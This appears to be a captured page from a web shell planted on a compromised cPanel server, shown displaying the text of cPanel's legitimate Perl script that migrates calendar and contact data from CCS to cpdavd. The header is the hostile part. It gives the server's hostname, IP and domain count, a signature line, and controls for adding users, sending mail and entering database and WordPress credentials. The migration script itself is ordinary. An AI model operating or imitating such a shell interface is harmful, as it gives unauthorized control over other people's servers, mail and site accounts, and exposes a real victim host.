System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
scripts
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
migrate_ccs_to_cpdavd
#!/usr/local/cpanel/3rdparty/bin/perl # Copyright 2025 WebPros International, LLC # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited. package MigrScr; # Conversion script from CCS data to CPDAVD use strict; no strict 'refs'; # XXX WHY use warnings; use DBD::Pg; use Digest::MD5; use MIME::Base64; use Data::Dumper; use Cpanel::JSON (); use Cpanel::AcctUtils::Lookup (); use Cpanel::PwCache (); use Cpanel::SafeDir::MK (); use Cpanel::DAV::CaldavCarddav (); use Cpanel::FileUtils::TouchFile (); use Cpanel::DAV::Defaults (); use Cpanel::DAV::Calendars (); use Cpanel::DAV::Tasks (); use Cpanel::DAV::AddressBooks (); use parent 'Cpanel::HelpfulScript'; sub _OPTIONS { return qw( help overwrite dryrun verbosity=s user=s ); } if ( $> != 0 ) { die "This script must be run by the root user\n"; } ################################################################################################################################# # Set defaults ################################################################################################################################# my $overwrite_existing = 0; my $verbosity = 1; my $dryrun = 0; my $singleuser; # ++'d every time there is a logmsg with -1 prio my $errcnt = 0; # Save any user that has run into an error while writing ( likely an account being over quota ) and will help cut down on futile attempts my %user_has_write_errors; exit __PACKAGE__->new(@ARGV)->run() if !caller(); sub run { ## no critic(Subroutines::ProhibitExcessComplexity) my ($self) = @_; ################################################################################################################################# # Get arguments to override the defaults ################################################################################################################################# if ( $self->getopt('overwrite') ) { logmsg( 1, "Overwriting existing entry files" ); $overwrite_existing = 1; } if ( $self->getopt('dryrun') ) { logmsg( 1, "Dry run, no changes will be made anywhere" ); $dryrun = 1; } if ( defined( $verbosity = $self->getopt('verbosity') ) ) { logmsg( 1, "Setting verbosity to $verbosity" ); } if ( defined( $singleuser = $self->getopt('user') ) ) { logmsg( 1, "Only processing the single account: $singleuser" ); } # Map data to a local system and mail user by UIDs if ( !-f '/var/cpanel/ccs/ccs-persistance.json' ) { logmsg( -1, "This server does not appear to have the file /var/cpanel/ccs/ccs-persistance.json , which is critical for converting from CCS to native CPDAVD." ); return 1; } logmsg( 1, "Starting migration from CCS to native CPDAVD" ); my $pers_data_hr = Cpanel::JSON::SafeLoadFile('/var/cpanel/ccs/ccs-persistance.json'); my %pers_data_keyed_on_uid = reverse %{ $pers_data_hr->{'users'} }; # print "\npers_data_hr:\n" . Dumper( $pers_data_hr ); # print "\npers_data_keyed_on_uid:\n" . Dumper( \%pers_data_keyed_on_uid ); ################################################################################################################################# # Create a hash that contains all the important known information about the accounts, keyed on CCS UID ################################################################################################################################# # This hash is our main mapping for account (email or system), the system user that owns the account, and the home directory for the system user. # These are used quite often so it makes sense to build this once. my %user_lookup; # Now we have all users known to CCS, both their CCS-UID and the associated user, either a system account or an email address foreach my $uid ( keys %pers_data_keyed_on_uid ) { my $sysuser = eval { Cpanel::AcctUtils::Lookup::get_system_user( $pers_data_keyed_on_uid{$uid} ) }; # next if( $singleuser && $singleuser ne $sysuser ); if ($@) { # Not fatal, but we should warn about it logmsg( 1, "Could not determine sysuser for $pers_data_keyed_on_uid{$uid}, skipping old user" ); } else { logmsg( 4, "$uid is $pers_data_keyed_on_uid{$uid} on the system account: $sysuser" ); $user_lookup{$uid}{'acct'} = $pers_data_keyed_on_uid{$uid}; $user_lookup{$uid}{'sysuser'} = $sysuser; $user_lookup{$uid}{'syshomedir'} = Cpanel::PwCache::gethomedir($sysuser); # Ensure each user has a calendar and addressbook, metadata included logmsg( 4, "Ensuring $pers_data_keyed_on_uid{$uid} has default calendar, task list, and address book configured" ); eval { Cpanel::DAV::Defaults::create_calendar( $pers_data_keyed_on_uid{$uid} ); }; eval { Cpanel::DAV::Defaults::create_task( $pers_data_keyed_on_uid{$uid} ); }; eval { Cpanel::DAV::Defaults::create_addressbook( $pers_data_keyed_on_uid{$uid} ); }; } } ################################################################################################################################# ################################################################################################################################# # # This section handles writing out the CCS UID->user %user_lookup mapping per system user, for "translation" by clients already # configured for CCS # ################################################################################################################################# ################################################################################################################################# # Get an array of UIDs, sorted by the system user from the %user_lookup hash. We do this for the sake of efficiency to avoid # a lot of extra file IO my @sorted_uids = sort { $user_lookup{$a}{'sysuser'} cmp $user_lookup{$b}{'sysuser'} } keys %user_lookup; my $last_sysuser; my $last_uid; my %data; logmsg( 4, "Going through sorted list of UIDs to write out the user mapping" ); foreach my $uid (@sorted_uids) { logmsg( 4, "Processing UID $uid" ); if ( !$last_sysuser ) { $last_sysuser = $user_lookup{$uid}{'sysuser'}; $last_uid = $uid; $data{$uid} = $user_lookup{$uid}{'acct'}; } if ( $last_sysuser eq $user_lookup{$uid}{'sysuser'} ) { $data{$uid} = $user_lookup{$uid}{'acct'}; } else { # We have moved on to a new user, so load the data for the user we were just working with, merge it with the new data, then # write out the UID map, then start processing this new user my $full_dir_path = $user_lookup{$last_uid}{'syshomedir'} . '/.caldav/'; my $file = '.user_id_table'; my $map_hr = load_uid_mapping( $full_dir_path . $file ); my $total_hr = { %{$map_hr}, %data }; my $map_str; foreach my $k ( keys %{$total_hr} ) { $map_str .= "$k $total_hr->{$k}\n"; } # Ensure 0600 perms when creating this file so we don't leak email addresses # This will be something like /home/user/.caldav/.user_id_table write_data_to_file( 1, $user_lookup{$last_uid}{'acct'}, $user_lookup{$last_uid}{'sysuser'}, $full_dir_path, $file, $map_str ); # Reset %data et al for new user $last_sysuser = $user_lookup{$uid}{'sysuser'}; $last_uid = $uid; %data = (); $data{$uid} = $user_lookup{$uid}{'acct'}; } } ################################################################################################################################# # Connect to CCS pgsql database ################################################################################################################################# our $ccs_pg_socket_dir = '/opt/cpanel-ccs/data/Data/Database/psqlsocks'; my $dbh = DBI->connect( "dbi:Pg:dbname=caldav;host=$ccs_pg_socket_dir", 'caldav', undef, { 'RaiseError' => 1 } ); if ( !$dbh ) { # This is a non-starter my $errstr = "Couldn't connect to Postgres" . ( $DBI::errstr ? ': ' . $DBI::errstr : '' ); logmsg( 2, $errstr ); die $errstr; } ################################################################################################################################# ################################################################################################################################# # # This section handles dumping the delegation information from CCS to the native delegation system # ################################################################################################################################# ################################################################################################################################# my $query_delegation_string = 'SELECT delegator, delegate, read_write FROM delegates'; my $del_ary_ref = $dbh->selectall_arrayref($query_delegation_string); foreach my $entry ( @{$del_ary_ref} ) { # $delegator and $delegate are UIDs from CCS. $readwrite is 1 for write access, 0 for read (and delegation by it's mere existence) my ( $delegator, $delegate, $readwrite ) = @{$entry}; logmsg( 2, "Found delegation record from $delegator to $delegate , rw = $readwrite" ); if ( exists( $user_lookup{$delegator} ) ) { if ( exists( $user_lookup{$delegate} ) ) { # We have matched both owner and delegatee to local accounts my $sysuser_delegator = $user_lookup{$delegator}{'sysuser'}; my $sysuser_delegate = $user_lookup{$delegate}{'sysuser'}; if ( defined $singleuser && ( $sysuser_delegator ne $singleuser && $sysuser_delegate ne $singleuser ) ) { logmsg( 3, "Skipping delegation record as it does not involve the account: $singleuser" ); next; } my %collection_data; $collection_data{'acct_homedir'} = $user_lookup{$delegator}{'syshomedir'}; $collection_data{'sys_user'} = $user_lookup{$delegator}{'sysuser'}; $collection_data{'root'} = $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' . $user_lookup{$delegator}{'acct'}; my $collection_obj = Cpanel::DAV::CaldavCarddav->new(%collection_data); # Ensure the directory exists before trying to use it, as the user. if ( ( $singleuser && $user_lookup{$delegator}{'sysuser'} ne $singleuser ) && ( !-d $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' ) ) { my $privs_obj = _drop_privs_if_needed($sysuser_delegator); logmsg( 3, "Creating dav directory for $sysuser_delegator $user_lookup{$delegator}{'syshomedir'}/.caldav/" ); Cpanel::SafeDir::MK::safemkdir( $user_lookup{$delegator}{'syshomedir'} . '/.caldav/' ) if $dryrun != 1; } # Get a hash ref of the sharing config for the user my $sharing_hr = $collection_obj->load_sharing(); # Make the changes to the hash ref # Using "calendar" until we can figure out how to get the UID for the default calendar at this stage my $section_to_update = $user_lookup{$delegator}{'acct'} . ' calendar'; # the space here is the break between two parts of the section header, don't remove it my $new_perms = 'r'; if ( $readwrite == 1 ) { $new_perms = 'r,w'; } $sharing_hr->{ $user_lookup{$delegator}{'acct'} }{'calendar'}{ $user_lookup{$delegate}{'acct'} } = $new_perms; # Save the hashref that includes our changes if ( $dryrun != 1 ) { my $privs_obj = _drop_privs_if_needed( $user_lookup{$delegator}{'sysuser'} ); $collection_obj->save_sharing($sharing_hr); } } else { logmsg( 3, "Could not find an existing user that matches delegate UID $delegate" ); } } else { logmsg( 3, "Could not find an existing user that matches delegator UID $delegator" ); } } ################################################################################################################################# ################################################################################################################################# # # This section handles migrating the caldav/carddav data to the correct places on the filesystem # ################################################################################################################################# ################################################################################################################################# # Since CCS only supported 1 calendar and 1 addressbook, we can migrate those events to a default calendar and addressbook for cpdavd # ideally we keep the UID mappings the same ? Another option could be to create the dir by UID and symlink default_* to the UID dir. # Run query/queries needed to get all the info needed for dumping the data # Process addressbook data my $query_addressbook_object_string = 'SELECT resource_name,vcard_text,vcard_uid,owner_uid FROM addressbook_object INNER JOIN addressbook_home ON addressbook_home.resource_id = addressbook_object.addressbook_home_resource_id'; my $card_ar = $dbh->selectall_arrayref($query_addressbook_object_string); foreach my $entry ( @{$card_ar} ) { my ( $file, $data, $uid, $owneruid ) = @{$entry}; $data =~ s/\015\012|[\015\012]/\n/g; my $found_user = 0; if ( exists $user_lookup{$owneruid}{'acct'} ) { $found_user = 1; my $user = $user_lookup{$owneruid}{'acct'}; my $sysuser = $user_lookup{$owneruid}{'sysuser'}; my $user_homedir = $user_lookup{$owneruid}{'syshomedir'}; my $full_dir_path = $user_homedir . '/.caldav/' . $user . '/addressbook/'; logmsg( 4, "Calling function to save addressbook entry for $user to ${full_dir_path}${file}" ); # HBHB TODO - note that the $file might not always be .vcf, some are .vcard , so we need to decide whether to change the file extension # on all files here, or handle non-.vcf file extensions elsewhere. write_data_to_file( $found_user, $user, $sysuser, $full_dir_path, $file, $data ); } else { if ($singleuser) { logmsg( 3, "Not saving homeless entry due to use of --user=$singleuser" ); next; } logmsg( 3, "Could not determine owner ($owneruid) of addressbook entry: $file" ); # Save to catch-all write_data_to_file( $found_user, 'root', 'root', undef, $file, $data ); } } # Generate a map of the collection properties so we can retain the displayname, calendar-color and calendar-order for the .metadata my %resource_property_map; my $query_tasks_object_string = "SELECT resource_id,value FROM resource_property;"; my $resprops_ar = $dbh->selectall_arrayref($query_tasks_object_string); foreach my $entry ( @{$resprops_ar} ) { my ( $resource_id, $value ) = @{$entry}; if ( $value =~ m/\<calendar-order\ .+\>(\d+)\<\/calendar-order\>/ ) { $resource_property_map{$resource_id}{'calendar-order'} = $1; } elsif ( $value =~ m/\<calendar-color\ .+\>(.+)\<\/calendar-color\>/ ) { $resource_property_map{$resource_id}{'calendar-color'} = $1; } elsif ( $value =~ m/\<calendar-description\ .+\>(.+)\<\/calendar-description\>/ ) { $resource_property_map{$resource_id}{'calendar-description'} = $1; } elsif ( $value =~ m/\<displayname\ .+\>(.+)\<\/displayname\>/ ) { $resource_property_map{$resource_id}{'displayname'} = $1; } } # Process calendar data # We are mapping this with the following understanding: # calendar_bind.calendar_resource_id = calendar_object.calendar_resource_id # calendar_bind.calendar_home_resource_id = calendar_home.resource_id # calendar_home.resource_id -> calendar_home.owner_uid # The LEFT JOIN to get the attachment_id is so we don't skip records without the match # We aggregate the various attachment data as json, as this allows us to process each event as a single row from the query my $query_calendar_object_string = 'SELECT calendar_home.owner_uid, icalendar_text, icalendar_type, organizer, calendar_resource_name, resource_name, calendar_bind.calendar_resource_id, calendar_bind.calendar_resource_name, json_agg(attachment_calendar_object.attachment_id) AS attachment_ids, json_agg(attachment_calendar_object.managed_id) AS managed_ids, json_agg(attachment.path) AS attachment_paths, json_agg(attachment.content_type) AS content_types FROM calendar_home INNER JOIN calendar_bind ON calendar_home.resource_id = calendar_bind.calendar_home_resource_id INNER JOIN calendar_object ON calendar_object.calendar_resource_id = calendar_bind.calendar_resource_id LEFT JOIN attachment_calendar_object ON calendar_object.resource_id = attachment_calendar_object.calendar_object_resource_id LEFT JOIN attachment ON attachment_calendar_object.attachment_id = attachment.attachment_id GROUP BY calendar_home.owner_uid, icalendar_text, icalendar_type, organizer, calendar_resource_name, resource_name, calendar_bind.calendar_resource_id, calendar_bind.calendar_resource_name; '; my $cal_ar = $dbh->selectall_arrayref($query_calendar_object_string); foreach my $entry ( @{$cal_ar} ) { my ( $owner_uid, $data, $type, $organizer, $cal_type, $file, $collection_id, $collection_internal_name, $attachment_ids_json, $managed_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ) = @{$entry}; # Assign a catch-all for unknown / unhandled event types # Note that using a name like "default_calendar" rather than the UID it has been using breaks the link with existing caldav configurations, so we should # probably find the actual UID of the collection and mark it as default, then handle the default_calendar/default_addressbook path in cpdavd instead, or # just name set the displayname of the UID dir to default in the metadata. my $collection_type = ''; my $entry_type_dir = '.unknown'; if ( $type eq 'VEVENT' ) { $entry_type_dir = 'calendar'; $collection_type = 'calendar'; } elsif ( $type eq 'VTODO' ) { $entry_type_dir = 'tasks'; $collection_type = 'tasks'; } elsif ( $type eq 'VCARD' ) { # we shouldn't ever see this, but it's a field in the db, sooo $entry_type_dir = 'addressbook'; $collection_type = 'addressbook'; logmsg( 2, "Found a VCARD entry while looking for calendar data? File($file) data($data)" ); } my $protected = 0; if ( length($collection_id) && $collection_id =~ m/^\d+$/ && length($collection_internal_name) ) { # if the internal name for a calendar is "calendar", we keep that as the default for the new "calendar", otherwise we append the collection_id to keep collections unique if ( length($collection_internal_name) and $collection_internal_name ne $entry_type_dir ) { $entry_type_dir .= '-' . $collection_internal_name; } else { $protected = 1; } } $data =~ s/\015\012|[\015\012]/\n/g; my $found_user = 0; my $user = '-'; my $sysuser = '-'; my $full_dir_path; if ( exists( $user_lookup{$owner_uid}{'acct'} ) ) { $found_user = 1; $user = $user_lookup{$owner_uid}{'acct'}; $sysuser = $user_lookup{$owner_uid}{'sysuser'}; # Set the directory to write the file to the correct place in the user's homedir my $user_homedir = $user_lookup{$owner_uid}{'syshomedir'}; $full_dir_path = $user_homedir . '/.caldav/' . $user . '/' . $entry_type_dir . '/'; logmsg( 3, "Owner for this record is $user" ); } else { logmsg( 3, "Falling back to parsing event data to find owner" ); my @data_lines = split( /\n/, $data ); foreach my $line (@data_lines) { chomp($line); if ( $line =~ m/^X\-CALENDARSERVER\-PERUSER\-UID\:(.+)/ ) { my $data_uid = $1; chomp($data_uid); if ( exists( $user_lookup{$data_uid}{'acct'} ) ) { $found_user = 1; $user = $user_lookup{$data_uid}{'acct'}; $sysuser = $user_lookup{$data_uid}{'sysuser'}; # Set the directory to write the file to the correct place in the user's homedir my $user_homedir = $user_lookup{$data_uid}{'syshomedir'}; $full_dir_path = $user_homedir . '/.caldav/' . $user . '/' . $entry_type_dir . '/'; logmsg( 3, "Owner for this record is $user" ); last; } else { logmsg( 3, "Could not determine owner from /var/cpanel/ccs/ccs-persistance.json by X-CALENDARSERVER-PERUSER-UID ($data_uid) in entry data." ); } last; } } } if ( !$user_has_write_errors{$sysuser} ) { # Create the collection if not already there, only needed for accounts we can map if ( length($full_dir_path) && !-d $full_dir_path ) { # The only real problem with a failure in these evals is the collection doesn't get metadata written, but the data should still be written to the directory if ( length($user) and $user ne '-' ) { local $@; # Set defaults for things that might not have a value in the db to be defined already but needed for each collection type during creation, # then attempt to create the collection if ( $collection_type eq 'calendar' ) { $resource_property_map{$collection_id}{'displayname'} //= 'Calendar (migrated)'; $resource_property_map{$collection_id}{'calendar-color'} //= Cpanel::DAV::Defaults::CPANEL_ORANGE; # '#ff6c2c'; logmsg( 2, "Creating calendar $resource_property_map{$collection_id}{'displayname'} for $user" ); eval { my @ret = Cpanel::DAV::Calendars::create_calendar( $user, $entry_type_dir, $resource_property_map{$collection_id}{'displayname'}, $resource_property_map{$collection_id}{'calendar-color'}, $protected ); }; if ($@) { logmsg( -1, $@ ); } } elsif ( $collection_type eq 'tasks' ) { $resource_property_map{$collection_id}{'displayname'} //= 'Task List (migrated)'; $resource_property_map{$collection_id}{'calendar-color'} //= Cpanel::DAV::Defaults::CPANEL_ORANGE; # '#ff6c2c'; logmsg( 2, "Creating tasks $resource_property_map{$collection_id}{'displayname'} for $user" ); eval { Cpanel::DAV::Tasks::create_task( $user, $entry_type_dir, $resource_property_map{$collection_id}{'displayname'}, $resource_property_map{$collection_id}{'calendar-color'}, $protected ); }; if ($@) { logmsg( -1, $@ ); } } elsif ( $collection_type eq 'addressbook' ) { $resource_property_map{$collection_id}{'displayname'} //= 'Addressbook (migrated)'; $resource_property_map{$collection_id}{'calendar-description'} //= 'Addressbook'; logmsg( 2, "Creating addressbook $resource_property_map{$collection_id}{'displayname'} for $user" ); eval { Cpanel::DAV::AddressBooks::create_addressbook( $user, $entry_type_dir, $resource_property_map{$collection_id}{'displayname'}, $resource_property_map{$collection_id}{'calendar-description'}, $protected ); }; if ($@) { logmsg( -1, $@ ); } } } } # Write the event data out to its new file write_data_to_file( $found_user, $user, $sysuser, $full_dir_path, $file, $data ); # If we have attachment data, process it so it stays linked with the event if ( $attachment_ids_json ne '[null]' ) { if ( !defined $full_dir_path ) { logmsg( 3, "No full_dir_path found, saving to /var/cpanel/saved_dav/" ); $full_dir_path = '/var/cpanel/saved_dav/'; $sysuser = 'root'; } logmsg( 9, "Calling migrate_attachment with ( $user, $sysuser, $full_dir_path, $file, $managed_ids_json, $attachment_ids_json, $attachment_filenames_json, $attachment_mimetypes_json )\n" ); migrate_attachment( $user, $sysuser, $full_dir_path, $file, $managed_ids_json, $attachment_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ); } } } ################################################################################################################################# ################################################################################################################################# # # End of processing. From here we just let anyone watching know that it's done. # ################################################################################################################################# ################################################################################################################################# logmsg( 1, "Migration from CCS to native CPDAVD complete" ); Cpanel::FileUtils::TouchFile::touchfile('/var/cpanel/migrate_ccs_to_cpdavd.done'); if ($errcnt) { my $errors_string = $errcnt > 1 ? 'errors' : 'error'; logmsg( 1, "The migration detected $errcnt $errors_string while processing. Run this script with a higher verbosity (--verbosity=9) to see more details." ); if ( scalar( keys %user_has_write_errors ) ) { logmsg( 1, "The following users had errors during write operations. Please ensure users are not over quota and the disk is not full :" ); foreach my $user ( keys %user_has_write_errors ) { logmsg( 1, " - $user had write errors : " ); foreach my $error ( @{ $user_has_write_errors{$user}{'errors'} } ) { logmsg( 1, " - $error" ); } } } } return 0; } ################################################################################################################################# ################################################################################################################################# # TODO - maybe send managed_id and attachment_id to write_data_to_file, or just build this out a little more with all the same data and priv dropping ? sub migrate_attachment { ##no critic(Subroutines::ProhibitExcessComplexity Subroutines::ProhibitManyArgs) my ( $user, $sysuser, $full_dir_path, $file, $managed_ids_json, $attachment_ids_json, $attachment_filenames_json, $attachment_mimetypes_json ) = @_; my $managed_ids_ar = Cpanel::JSON::Load($managed_ids_json); my $attachment_ids_ar = Cpanel::JSON::Load($attachment_ids_json); my $attachment_filenames_ar = Cpanel::JSON::Load($attachment_filenames_json); my $attachment_mimetypes_ar = Cpanel::JSON::Load($attachment_mimetypes_json); my $path = $full_dir_path . $file; my @cleaned_ics; # Read in the existing file, strip ICS of previous ATTACH lines since they won't make sense with new backend if ( open( my $dav_fh, '<', $path ) ) { my @dav_lines = (<$dav_fh>); close($dav_fh); # Remove existing attach line(s), if present my $inside_attach = 0; foreach my $line (@dav_lines) { chomp $line; logmsg( 9, "[ Inside ATTACH: $inside_attach ] LINE($line)" ); if ( $line =~ m/^\s+/ ) { logmsg( 9, " - started with space" ); if ( $inside_attach == 1 ) { logmsg( 9, " - line started with space and we are inside the ATTACH block, dropping it" ); # skip } else { # This is not part of the folded ATTACH line we want to remove logmsg( 9, " - line started with space, but keeping since it is not inside the ATTACH block" ); push( @cleaned_ics, $line . "\n" ); } } elsif ( $line =~ m/^ATTACH\;/ ) { logmsg( 9, " - found start of the ATTACH line" ); $inside_attach = 1; } else { logmsg( 9, " - line is not the ATTACH line or a starting space line after it, keeping it" ); $inside_attach = 0; push( @cleaned_ics, $line . "\n" ); } } } else { logmsg( -1, "migrate_attachment: can not read from $path : $!" ); } # At this point, we have the ATTACH-less version of the .ics file in memory in @cleaned_ics # Now we walk through each attachment, copy the old attachments to their new home, and once it's all done, add our new # ATTACH lines to @cleaned_ics and overwrite the original .ics my @final_attach_lines; my $cnt = @{$managed_ids_ar}; for ( my $i = 0; $i < $cnt; $i++ ) { my $managed_id = @{$managed_ids_ar}[$i]; my $attachment_id = @{$attachment_ids_ar}[$i]; my $attachment_filename = @{$attachment_filenames_ar}[$i]; my $attachment_mimetype = @{$attachment_mimetypes_ar}[$i]; my $hexed_atid = Digest::MD5::md5_hex($attachment_id); my $first_sub_dir = substr( $hexed_atid, 0, 2 ); my $second_sub_dir = substr( $hexed_atid, 2, 2 ); my $old_attachment_path = '/opt/cpanel-ccs/data/Data/Attachments/' . $first_sub_dir . '/' . $second_sub_dir . '/' . $hexed_atid; my $base64filename = MIME::Base64::encode_base64( $attachment_filename, '' ); logmsg( 9, "migrate_attachment: original attachment path is $old_attachment_path" ); # Make sure we can find the source at the expected location, if so, copy it to the new home if ( -f $old_attachment_path ) { my $attachment_destination_path = $full_dir_path . $file . '-attachment-' . $managed_id . '-' . $base64filename; logmsg( 2, "migrate_attachment: Migrating attachment from $old_attachment_path to normal path for event $attachment_destination_path" ); if ( $dryrun == 1 ) { logmsg( 2, "migrate_attachment: dryrun in effect, not copying attachment file" ); } else { if ( -d $full_dir_path ) { if ( open( my $old_attachment_fh, '<', $old_attachment_path ) ) { my $old_attachment_size = ( stat($old_attachment_path) )[7]; # Now that we have opened the old attachment to read from as root, drop to the user to do all the file writing my $privs_obj = _drop_privs_if_needed($sysuser); if ( -e $attachment_destination_path && $overwrite_existing != 1 ) { logmsg( 2, "migrate_attachment: Not overwriting attachment file $attachment_destination_path since it already exists. Call with --overwrite if needed" ); next; } # Quota handling is not as reliable/up-to-date as we want for this, so rather than relying on a perfectly working quota # system, instead we just try to catch errors during writing and move along to the next attachment which might be smaller. my $error_writing_attachment = 0; if ( open( my $new_attachment_fh, '>', $attachment_destination_path ) ) { while (<$old_attachment_fh>) { last if $error_writing_attachment; # if we get an error, stop trying to write local $! = undef; print $new_attachment_fh $_; if ($!) { $error_writing_attachment = 1; push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "migrate_attachment: Got error while writing data to new attachment file: $!" ); logmsg( -1, " - the original path is $old_attachment_path and should moved to $attachment_destination_path" ); } } close($new_attachment_fh); } else { $error_writing_attachment = 1; logmsg( -1, "migrate_attachment: Could not open new attachment for writing: $!" ); } close($old_attachment_fh); if ( $error_writing_attachment == 1 ) { logmsg( -1, "migrate_attachment: Skipping attachment migration due to fatal errors, this will result in the attachment being removed from the related event." ); return; } if ( !length($user) || $user eq '-' ) { logmsg( -1, "migrate_attachment: No user associated with this attachment, skipping URL fix." ); return; } my $new_attachment_size = ( stat($attachment_destination_path) )[7]; logmsg( 4, "migrate_attachment: Original attachment size = $old_attachment_size , new attachment size = $new_attachment_size" ); if ( $old_attachment_size == $new_attachment_size ) { # Normally we build this based on the request, but we don't have that here, so we use the email domain instead. Attachments are only for calendar events for the default/single CCS calendar. my ( $luser, $domain ) = split( /\@/, $user ); my $url = 'https://' . $domain . ':2080/principals/' . $user . '/calendar/' . $file . '-attachment-' . $managed_id . '-' . $base64filename; logmsg( 9, "migrate_attachment: URL($url)" ); my $attach_line = "ATTACH;FILENAME=$attachment_filename;FMTTYPE=$attachment_mimetype;SIZE=$new_attachment_size;MANAGED-ID=$managed_id:$url"; # Ensure we fold the attach line before 75 bytes my $chunks_ar = Cpanel::DAV::CaldavCarddav::fold_string( $attach_line, 74 ); $attach_line = join( "\n", @{$chunks_ar} ) . "\n"; logmsg( 9, "migrate_attachment: ATTACH line after folding:\n$attach_line" ); push( @final_attach_lines, $attach_line ); } else { logmsg( -1, "migrate_attachment: Original attachment size not the same as the new attachment size, assuming quota or disk issue and skipping." ); return; } } else { logmsg( -1, "migrate_attachment: Could not open $old_attachment_path for reading" ); return; } } else { logmsg( -1, "migrate_attachment: No directory found at $full_dir_path, skipping attachment migration $old_attachment_path" ); } } } else { logmsg( -1, "migrate_attachment: Could not find attachment at expected path, $old_attachment_path : $!" ); } logmsg( 9, "#############################################################\n" . Dumper( \@cleaned_ics, \@final_attach_lines ) ); logmsg( 2, "migrate_attachment: Attachment migrated." ); } # Modify the cleaned ICS data and insert the new attach line(s) my $index = 0; if ( @cleaned_ics == 0 ) { logmsg( -1, "migrate_attachment: ics data is empty, likely due to the account being over quota." ); return; } if ( !grep m/^BEGIN\:(VEVENT|VCARD)/, @cleaned_ics ) { logmsg( -1, "migrate_attachment: could not find the start of the VEVENT in the ics file, assuming corrupted data (@cleaned_ics)" ); return; } $index++ until $cleaned_ics[$index] =~ m/^BEGIN\:(VEVENT|VCARD)/; if (@final_attach_lines) { logmsg( 4, "migrate_attachment: splicing in attach lines at $index (@final_attach_lines)" ); splice( @cleaned_ics, $index + 1, 0, @final_attach_lines ); } if ( $dryrun == 1 ) { logmsg( 2, "migrate_attachment: dryrun in effect, not writing out modified event file" ); } else { # Write it back out my $privs_obj = _drop_privs_if_needed($sysuser); if ( open( my $dav_out_fh, '>:encoding(utf8)', $path ) ) { foreach my $line (@cleaned_ics) { local $! = undef; print $dav_out_fh $line; if ($!) { push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "migrate_attachment: Could not write cleaned ics to $path : $!" ); } } close($dav_out_fh); logmsg( 3, "migrate_attachment: wrote modified file to $path" ); } else { logmsg( -1, "migrate_attachment: could not open $path for writing : $!" ); } } logmsg( 3, "migrate_attachment: Event file updated with new ATTACH lines." ); return; } # This handles writing calendar and addressbook data to the correct location, or to a catch-all location sub write_data_to_file { ## no critic qw(Subroutines::ProhibitManyArgs) my ( $found_user, $user, $sysuser, $full_dir_path, $file, $data ) = @_; if ( defined $user_has_write_errors{$sysuser} ) { logmsg( 5, "Skipping write attempt for $sysuser to $file due to previous write errors" ); return; } my $privs_obj; # Be sure to keep this in scope as long as privs need to be dropped if ( $found_user == 1 ) { # Now we need to get the user information logmsg( 3, "Considering writing to file $file for $user ($sysuser)" ); if ( defined $singleuser && ( $singleuser ne $user && $singleuser ne $sysuser ) ) { logmsg( 3, "Skipping $sysuser due to --user=$singleuser argument" ); return; } # Drop privs to user, make needed directories and write files securely $privs_obj = _drop_privs_if_needed($sysuser); } else { # If we get here, it means we found an entry but can not match it to a currently existing user. # This is more than likely abandoned data from terminated users, but we want to save it just in case the UIDs got unsynced. # We save the data in a catch-all location for manual recovery later, so it can simply be copied into the correct place. # We do not drop privs here, using a static full_dir_path where we can safely save homeless entries and only root can read it. # There is a technical possibility for the UIDs to conflict, but so improbable it is not a concern. if ($singleuser) { logmsg( 3, "Skipping saving of homeless entry due to --user=$singleuser argument" ); return; } $full_dir_path = '/var/cpanel/saved_dav/'; logmsg( 1, "Entry can not be mapped to existing user, saving to ${full_dir_path}${file}" ); } # Ensure the directory exists for the files to be written to if ( !-d $full_dir_path ) { logmsg( 3, "Need to make directory $full_dir_path" ); if ( $dryrun != 1 ) { Cpanel::SafeDir::MK::safemkdir($full_dir_path); } else { logmsg( 3, "Dry run in effect, normally would be creating the directory $full_dir_path" ); } } # Write the content to the file, given correct conditions are met my $full_path = $full_dir_path . $file; if ( -f $full_path && $overwrite_existing != 1 ) { logmsg( 3, "The path $full_path already exists. To overwrite, call this script with the --overwrite argument" ); return; } if ( $dryrun != 1 ) { my $orig_umask = umask(0077); if ( open( my $fh, '>:encoding(utf8)', $full_path ) ) { logmsg( 2, "Writing entry data to $full_path" ); local $! = undef; print $fh $data; if ($!) { push( @{ $user_has_write_errors{$sysuser}{'errors'} }, $! ); logmsg( -1, "Error writing data to $full_path : $!" ); } close($fh); } else { logmsg( -1, "Could not open $full_path for writing: $!" ); # Consider dumping it elsewhere ? } umask($orig_umask); } else { logmsg( 2, "Dry run in effect, normally would be writing entry data to $full_path" ); } return; } ################################################################################################################################# # Misc functions ################################################################################################################################# # Log output based on verbosity setting and importance of message. Big Errors should always be -1 and are reported to STDERR explicitly sub logmsg { my ( $verb, $msg ) = @_; my $xinfo = '[' . $$ . '] [' . scalar( localtime( time() ) ) . '] '; # If requested to be totally silent with --verbosity=0 , respect it as much as possible. return if ( defined($verbosity) && $verbosity == 0 ); # Print regular messages to STDOUT, error message ( $verb = -1 ) to STDERR and append "ERROR: " to it to make it clear that this # the message is more than just informational or a warning my $extra = ''; my $fh = *STDOUT; if ( $verb < 0 ) { $errcnt++; $extra = 'ERROR: '; $fh = *STDERR; } if ( $extra || ( defined($verbosity) && $verb <= $verbosity ) ) { # Always report Big Errors print $fh "${xinfo}${extra}${msg}\n"; } return; } # Logger from Cpanel::DAV::CaldavCarddav to handle direct 1:1 copies of the functions we use from there sub dbg { my ( $pkg, $file, $line, $sub, $hasargs ) = caller(); my @args = @_; if ( $verbosity >= 4 ) { $file =~ s/^\/usr\/local\/cpanel\///; print '[' . $$ . '] [' . scalar( localtime( time() ) ) . "] [$file : $line ]: "; foreach my $what (@args) { my $ref = ref $what; my $nl = '\n'; if ( $ref eq 